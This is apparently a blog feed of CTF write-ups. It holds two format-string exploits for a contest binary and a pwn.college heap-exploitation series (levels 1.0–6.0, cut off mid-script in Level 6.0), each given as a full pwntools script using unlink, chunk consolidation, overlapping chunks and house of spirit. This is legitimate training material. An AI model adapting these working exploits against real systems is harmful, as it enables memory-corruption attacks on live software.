.data:000000000040415B                 db    0
.data:000000000040415C                 db    0
.data:000000000040415D                 db    0
.data:000000000040415E                 db    0
.data:000000000040415F                 db    0
.data:0000000000404160                 db    0
.data:0000000000404161                 db    0
.data:0000000000404162                 db    0
.data:0000000000404163                 db    0
.data:0000000000404164                 db    0
.data:0000000000404165                 db    0
.data:0000000000404166                 db    0
.data:0000000000404167                 db    0
.data:0000000000404168                 db    0
.data:0000000000404169                 db    0
.data:000000000040416A                 db    0
.data:000000000040416B                 db    0
.data:000000000040416C                 db    0
.data:000000000040416D                 db    0
.data:000000000040416E                 db    0
.data:000000000040416F                 db    0
.data:0000000000404170                 db    0
.data:0000000000404171                 db    0
.data:0000000000404172                 db    0
.data:0000000000404173                 db    0
.data:0000000000404174                 db    0
.data:0000000000404175                 db    0
.data:0000000000404176                 db    0
.data:0000000000404177                 db    0
.data:0000000000404178                 db    0
.data:0000000000404179                 db    0
.data:000000000040417A                 db    0
.data:000000000040417B                 db    0
.data:000000000040417C                 db    0
.data:000000000040417D                 db    0
.data:000000000040417E                 db    0
.data:000000000040417F                 db    0
.data:0000000000404180                 db    0
.data:0000000000404181                 db    0
.data:0000000000404182                 db    0
.data:0000000000404183                 db    0
.data:0000000000404184                 db    0
.data:0000000000404185                 db    0
.data:0000000000404186                 db    0
.data:0000000000404187                 db    0
.data:0000000000404188                 db    0
.data:0000000000404189                 db    0
.data:000000000040418A                 db    0
.data:000000000040418B                 db    0
.data:000000000040418C                 db    0
.data:000000000040418D                 db    0
.data:000000000040418E                 db    0
.data:000000000040418F                 db    0
.data:0000000000404190                 db    0
.data:0000000000404191                 db    0
.data:0000000000404192                 db    0
.data:0000000000404193                 db    0
.data:0000000000404194                 db    0
.data:0000000000404195                 db    0
.data:0000000000404196                 db    0
.data:0000000000404197                 db    0
.data:0000000000404198                 db    0
.data:0000000000404199                 db    0
.data:000000000040419A                 db    0
.data:000000000040419B                 db    0
.data:000000000040419C                 db    0
.data:000000000040419D                 db    0
.data:000000000040419E                 db    0
.data:000000000040419F                 db    0
.data:00000000004041A0                 db    0
.data:00000000004041A1                 db    0
.data:00000000004041A2                 db    0
.data:00000000004041A3                 db    0
.data:00000000004041A4                 db    0
.data:00000000004041A5                 db    0
.data:00000000004041A6                 db    0
.data:00000000004041A7                 db    0
.data:00000000004041A8                 db    0
.data:00000000004041A9                 db    0
.data:00000000004041AA                 db    0
.data:00000000004041AB                 db    0
.data:00000000004041AC                 db    0
.data:00000000004041AD                 db    0
.data:00000000004041AE                 db    0
.data:00000000004041AF                 db    0
.data:00000000004041B0                 db    0
.data:00000000004041B1                 db    0
.data:00000000004041B2                 db    0
.data:00000000004041B3                 db    0
.data:00000000004041B4                 db    0
.data:00000000004041B5                 db    0
.data:00000000004041B6                 db    0
.data:00000000004041B7                 db    0
.data:00000000004041B8                 db    0
.data:00000000004041B9                 db    0
.data:00000000004041BA                 db    0
.data:00000000004041BB                 db    0
.data:00000000004041BC                 db    0
.data:00000000004041BD                 db    0
.data:00000000004041BE                 db    0
.data:00000000004041BF                 db    0
.data:00000000004041C0 ; char format[]
.data:00000000004041C0 format          db &apos;You are so parsimonious!!!&apos;,0
.data:00000000004041C0                                         ; DATA XREF: main+112↑o
.data:00000000004041DB                 align 20h
.data:00000000004041E0 ; char aThankYouForPay[]
.data:00000000004041E0 aThankYouForPay db &apos;Thank you for paying,let me give you flag: &apos;,0
.data:00000000004041E0                                         ; DATA XREF: main:loc_4014EA↑o
.data:000000000040420C                 align 20h
.data:0000000000404220 ; char a1m31mError0mSo[]
.data:0000000000404220 a1m31mError0mSo db 0Ah                  ; DATA XREF: main+21D↑o
.data:0000000000404221                 db 1Bh,&apos;[1m&apos;,1Bh,&apos;[31m==========error!!!========== &apos;,1Bh,&apos;[0m &apos;,0Ah
.data:000000000040424D                 db &apos;Sorry, but maybe something wrong... &apos;,0Ah
.data:0000000000404272                 db &apos;you can report it in user.log&apos;,0
.data:0000000000404290                 align 20h
.data:00000000004042A0 ; char aOkNowYouCanExi[]
.data:00000000004042A0 aOkNowYouCanExi db &apos;OK,now you can exit or try again.&apos;,0
.data:00000000004042A0                                         ; DATA XREF: main+2A7↑o
.data:00000000004042A0 _data           ends
.data:00000000004042A0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下面我写了两个 exp，第一个的思路是改 &lt;code&gt;memset&lt;/code&gt; 为 &lt;code&gt;ret&lt;/code&gt; 让它不要清空 flag，然后用 &lt;code&gt;%p&lt;/code&gt; 输出，但是发现只有本地能通，远程不知道为啥不行，然后换了一种打法，&lt;code&gt;fopen&lt;/code&gt; 会返回一个 &lt;code&gt;FILE&lt;/code&gt; 结构体，之后 &lt;code&gt;fgets&lt;/code&gt; 会在里面放一些地址，这其中就有 flag 的 stream buf 起始地址，我们把 fopen 返回的地址泄漏，算一下它和 flag stream buf 的偏移，发现此值固定，得到 flag 地址后写到栈上，用 &lt;code&gt;%s&lt;/code&gt; 输出就好了。&lt;/p&gt;
&lt;h2&gt;Exploit I&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;./patched&quot;
HOST, PORT = &quot;8.147.135.220&quot;, 24630

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def lehex_to_ascii(s: str) -&amp;gt; str:
    parts = s.strip().split(&quot;-&quot;)
    out = bytearray()
    for p in parts:
        p = p.strip()
        if not p:
            continue
        h = p[2:] if p.startswith((&quot;0x&quot;, &quot;0X&quot;)) else p
        h = h.strip()
        if len(h) % 2:  # pad odd-length hex
            h = &quot;0&quot; + h
        out += bytes.fromhex(h)[::-1]
    return out.rstrip(b&quot;\x00&quot;).decode(&quot;ascii&quot;, errors=&quot;replace&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.sendlineafter(b&quot;2.exit&quot;, b&quot;1&quot;)
    target.sendlineafter(b&quot;pay?\x0a&quot;, b&quot;255&quot;)

    payload = flat(
        b&quot;A&quot; * 0x100,
        b&quot;%5019c%12$hn&quot;,
    )
    target.sendlineafter(b&quot;report:&quot;, payload)

    target.sendlineafter(b&quot;2.exit&quot;, b&quot;1&quot;)
    # raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;pay?\x0a&quot;, flat(elf.got[&quot;exit&quot;]))

    # raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;2.exit&quot;, b&quot;2&quot;)

    target.sendlineafter(b&quot;2.exit&quot;, b&quot;1&quot;)
    target.sendlineafter(b&quot;pay?\x0a&quot;, b&quot;255&quot;)

    payload = flat(
        b&quot;A&quot; * 0x100,
        b&quot;%173c%12$hhn&quot;,
    )
    target.sendlineafter(b&quot;report:&quot;, payload)

    target.sendlineafter(b&quot;2.exit&quot;, b&quot;1&quot;)
    # raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;pay?\x0a&quot;, flat(elf.got[&quot;memset&quot;]))

    # raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;2.exit&quot;, b&quot;2&quot;)
    target.sendlineafter(b&quot;2.exit&quot;, b&quot;1&quot;)
    target.sendlineafter(b&quot;pay?\x0a&quot;, b&quot;255&quot;)

    payload = flat(
        b&quot;A&quot; * 0x100,
        b&quot;%14$p-%15$p-%16$p-%17$p-%18$p-%19$p&quot;,
    )
    target.sendlineafter(b&quot;report:&quot;, payload)
    target.sendlineafter(b&quot;2.exit&quot;, b&quot;1&quot;)
    target.sendlineafter(b&quot;pay?\x0a&quot;, b&quot;0&quot;)

    flag = target.recvuntil(b&quot;welcome&quot;)[:-7]
    target.success(lehex_to_ascii(flag.decode()))

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit II&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;./patched&quot;
HOST, PORT = &quot;8.147.135.220&quot;, 24630

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.sendlineafter(b&quot;2.exit&quot;, b&quot;1&quot;)
    target.sendlineafter(b&quot;pay?\x0a&quot;, b&quot;255&quot;)

    payload = flat(
        b&quot;A&quot; * 0x100,
        b&quot;%9$p%5009c%12$hn&quot;,
    )
    target.sendlineafter(b&quot;report:&quot;, payload)

    target.sendlineafter(b&quot;2.exit&quot;, b&quot;1&quot;)
    # raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;pay?\x0a&quot;, flat(elf.got[&quot;exit&quot;]))

    flag = int(target.recv(0xA), 16) + 0x1E0
    target.success(f&quot;flag: {hex(flag)}&quot;)

    # raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;2.exit&quot;, b&quot;2&quot;)

    raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;2.exit&quot;, b&quot;1&quot;)
    target.sendlineafter(b&quot;pay?\x0a&quot;, b&quot;255&quot;)

    payload = flat(
        b&quot;A&quot; * 0x100,
        b&quot;%12$s&quot;,
    )
    target.sendlineafter(b&quot;report:&quot;, payload)
    target.sendlineafter(b&quot;exit&quot;, b&quot;1&quot;)
    target.sendlineafter(b&quot;pay?\x0a&quot;, flat(flag))

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;flag{0ec285cb-c1b3-49ff-820b-8075a639bc1e}&lt;/code&gt;]&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: Software Exploitation (Dynamic Allocator Exploitation) series (Completed)</title><link>https://cubeyond.net/posts/write-ups/pwncollege-dynamic-allocator-exploitation/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/pwncollege-dynamic-allocator-exploitation/</guid><description>Write-ups for pwn.college binary exploitation series.</description><pubDate>Fri, 17 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;冲冲冲，尽快拿下这一章然后学 FSOP，同时空下来学点 IoT，提前进军 realworld 。&lt;/p&gt;
&lt;h1&gt;Level 1.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage consolidation to obtain the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;先填满 tcache，然后再申请同样大小就进入 fastbin 了，接着释放，让它可再次被分配，由于 malloc 超出 smallbin 范围的 chunk 会先触发 &lt;code&gt;malloc_consolidate&lt;/code&gt;，强制合并所有 fastbin 到 top chunk，所以 &lt;code&gt;read_flag&lt;/code&gt; 可以返回我们 fastbin 中那个 free 的地址，而由于 free 的时候并没有清除结构体中保存的指针，所以我们可以通过 puts UAF 泄漏其值。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)

FILE = &quot;/challenge/toddlerheap_level1.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = ELF(&quot;/challenge/lib/libc.so.6&quot;)


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx))


def read_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;read_flag&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    for i in range(7):
        malloc(i, 0)

    malloc(7, 0)

    for i in range(7):
        free(i)

    raw_input(&quot;DEBUG&quot;)
    free(7)
    read_flag()
    puts(7)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 2.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage consolidation to obtain the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;    if ( strcmp(s1, &quot;read_flag&quot;) )
      break;
    for ( i = 0; i &amp;lt;= 1; ++i )
    {
      printf(&quot;[*] flag_buffer = malloc(%d)\n&quot;, 1434);
      size_4 = malloc(0x59Au);
      printf(&quot;[*] flag_buffer = %p\n&quot;, size_4);
    }
    fd = open(&quot;/flag&quot;, 0);
    read(fd, size_4, 0x80u);
    puts(&quot;[*] read the flag!&quot;);
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这次就是 &lt;code&gt;read_flag&lt;/code&gt; 中会执行两次 malloc，flag 被写到最后一次 malloc 返回的地址中。&lt;/p&gt;
&lt;p&gt;那还不简单，丢两个与 malloc 申请的大小一样的 chunk 到 unsorted bin 中，这样切蛋糕切出来第二块的地址正好就是 flag 的 chunk 地址了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/toddlerheap_level2.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def calloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;calloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx))


def read_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;read_flag&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    for i in range(7):
        malloc(i, 0)

    for i in range(7):
        free(i)

    calloc(0, 0x59A)
    calloc(1, 0x59A)
    calloc(2, 0)
    free(1)
    free(0)
    raw_input(&quot;DEBUG&quot;)
    read_flag()
    puts(1)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 3.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage consolidation to obtain the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;和上题类似，区别在于这次我们可以 malloc 的大小被限制为必须 &lt;code&gt;&amp;gt; 0x41F&lt;/code&gt;，而 &lt;code&gt;read_flag&lt;/code&gt; 内部使用的 malloc 大小为 &lt;code&gt;0x390&lt;/code&gt;，导致无法精确分配到我们想要的 chunk，咋办？&lt;/p&gt;
&lt;p&gt;回忆一下 malloc 和相邻 chunk consolidation 的机制，我们注意到 malloc 的查找顺序为 &lt;code&gt;tcachebins -&amp;gt; fastbins -&amp;gt; smallbins -&amp;gt; unsorted bins -&amp;gt; ...&lt;/code&gt; 由于这里我们只能请求 &lt;code&gt;&amp;gt; 0x41F&lt;/code&gt; 大小的 chunk，所以可以直接排除 &lt;code&gt;tcachebins&lt;/code&gt;、&lt;code&gt;fastbins&lt;/code&gt; 和 &lt;code&gt;smallbins&lt;/code&gt; 的可能性，那么 malloc 会直接查 &lt;code&gt;unsorted bins&lt;/code&gt;，有合适的就直接返回，如果远大于请求大小就切割然后归类，不够就去下一个 bin 中找……&lt;/p&gt;
&lt;p&gt;那我们只要设计一个 &lt;code&gt;[free chunk with controled idx][guard][free chunk with controled idx][guard]...&lt;/code&gt; 这样的堆布局，重复 11 组即可。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/toddlerheap_level3.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx))


def read_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;read_flag&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    for i in range(12):
        # raw_input(&quot;DEBUG&quot;)
        malloc(i, 0x420)
        # raw_input(&quot;DEBUG&quot;)
        malloc(15, 0x420)

    for i in range(12):
        # raw_input(&quot;DEBUG&quot;)
        free(i)

    read_flag()
    puts(11)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 4.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Perform an advanced heap exploit to obtain the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这题就是打个高版本 unlink，看了下，发现 2.41 的打法也是一样的，那我盲猜 2.42 应该也没变。&lt;/p&gt;
&lt;p&gt;不会 unlink 的可以看我写的 &lt;a href=&quot;/posts/pwn-notes/pwn-trick-notes/#doubly-linked-doubly-doomed&quot;&gt;Doubly Linked, Doubly Doomed&lt;/a&gt; 。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;./toddlerheap_level4.0_patched&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def safe_read(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;safe_read&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def send_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;send_flag&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0xBB8 * 3)
    free(0)
    malloc(15, 0xBB8)  # guard

    malloc(1, 0xBB8)
    malloc(2, 0xBB8)

    payload = flat(
        b&quot;A&quot; * 0xBB0,
        0,
        0xBC1,
        0,  # prev_size
        (0xBC0 - 0x10) | 0x1,  # chunk_size
        0x404130,  # fd
        0x404138,  # bk
        0,  # fd_nextsize
        0,  # bk_nextsize
        b&quot;A&quot; * 0xB80,
        0xBC0 - 0x10,  # prev_size
        0xBC1 &amp;amp; ~0x1,  # chunk_size
    )
    raw_input(&quot;DEBUG&quot;)
    safe_read(0, payload)
    free(2)

    payload = flat(
        b&quot;A&quot; * 0x98,
        0x1,
    )
    raw_input(&quot;DEBUG&quot;)
    safe_read(1, payload)
    send_flag()
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 5.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Perform an advanced heap exploit to obtain the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;也是 unlink，unlink 以后我们就能控制 &lt;code&gt;alloc_struct&lt;/code&gt; 了，由于这里面保存的都是 malloc 的返回值，所以我们还可以利用它来泄漏堆地址，定位 flag 的位置，最后，只需要想办法让 malloc 返回 flag 的地址即可，我通过 overlapping chunks 实现的这一点。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/toddlerheap_level5.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def read(idx, size, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;read&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())
    target.send(data)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0x420)
    malloc(1, 0x420)
    malloc(2, 0x420)

    payload = flat(
        0,
        0x420,
        0x404148 - 0x18,
        0x404148 - 0x10,
        0,
        0,
        b&quot;A&quot; * 0x3F0,
        0x420,
        0x431 &amp;amp; ~0x1,
    )
    # raw_input(&quot;DEBUG&quot;)
    read(1, 0x430, payload)
    free(2)

    payload = flat(
        b&quot;A&quot; * 0x10,
    )
    # raw_input(&quot;DEBUG&quot;)
    read(1, 0x1337, payload)
    puts(1)

    target.recvuntil(b&quot;Data: &quot; + b&quot;A&quot; * 0x10)
    heap = int.from_bytes(target.recvline().strip(), &quot;little&quot;)
    overlapping_chunksize = heap - 0x890
    overlapping_chunk = heap - 0x880
    target.success(f&quot;heap: {hex(heap)}&quot;)

    payload = flat(
        0,
        0,
        overlapping_chunksize,
    )
    # raw_input(&quot;DEBUG&quot;)
    read(1, 0x1337, payload)

    payload = flat(
        0,
        0x881,
    )
    # raw_input(&quot;DEBUG&quot;)
    read(0, 0x1337, payload)

    payload = flat(
        0,
        0,
        overlapping_chunk,
    )
    # raw_input(&quot;DEBUG&quot;)
    read(1, 0x1337, payload)
    free(0)

    malloc(5, 0x870)
    # raw_input(&quot;DEBUG&quot;)
    read(5, 0x1337, flat(b&quot;A&quot; * 0x440))
    puts(5)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 6.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Perform an advanced heap exploit to obtain the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;house of spirit 吧，只要伪造一个 free chunk，就可以让 calloc 返回这个 chunk 的地址了，但是要注意 calloc 会将 chunk 内存清空。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/toddlerheap_level6.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def calloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;calloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def safer_read(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;safer_read&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.send(data)


def read_to_global(size, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;read_to_global&quot;)
    target.sendlineafter(b&quot;read_size: &quot;, str(size).encode())
    target.send(data)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.recvuntil(b&quot;Reading the flag into &quot;)
    flag = int(target.recvline().strip()[:-1], 16)

    for i in range(7):
        calloc(i, 0)
        free(i)

    calloc(0, 0x10)
    calloc(1, 0x10)
    free(1)
    free(0)

    puts(1)
    target.recvuntil(b&quot;Data: &quot;)
    pos = int.from_bytes(target.recvline().strip(), &quot;little&quot;)

    puts(0)
    target.recvuntil(b&quot;Data: &quot;)
    heap = demangle(pos, int.from_bytes(target.recvline().strip(), &quot;little&quot;))

